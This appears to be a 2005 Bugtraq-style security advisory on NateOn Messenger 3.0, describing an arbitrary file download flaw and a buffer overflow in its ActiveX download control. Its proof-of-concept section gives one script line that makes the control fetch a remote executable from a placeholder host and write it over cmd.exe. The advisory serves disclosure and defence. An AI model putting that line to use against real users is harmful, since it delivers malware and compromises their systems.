NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities

BID:14974

Info

NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities

Bugtraq ID: 14974
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Sep 29 2005 12:00AM
Updated: Sep 29 2005 12:00AM
Credit: "saintlinu" <[email protected]> disclosed these issues.
Vulnerable: Nate.com NateOn Messenger 3.0
Not Vulnerable:

Discussion

NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities

NateOn Messenger is susceptible to an arbitrary file download vulnerability, and a buffer overflow vulnerability. These issues are present in the 'NateonDownloadManager.ocx' ActiveX control that is installed with the application.

An attacker would exploit these issues by creating malicious HTML containing script code that accesses the vulnerable ActiveX controls. This issue allows remote attackers to fetch arbitrary remote files and save them on the local machine.

The buffer overflow vulnerability allows remote attackers to execute arbitrary machine code in the context of the user running the affected software, facilitating remote system compromise.

Attackers may utilize these vulnerabilities in conjunction with each other in order to transfer malicious code to targeted users, and then execute it.

Exploit / POC

NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities

To exploit the arbitrary file download vulnerability, a malicious Web page may include the following script code:

GotNate.Excute("1",'http://www.example.com/somefile.exe','c:\\windows\\system32\\cmd.exe');

Currently we are not aware of any exploits for the buffer overflow issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Solution / Fix

NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

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NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities

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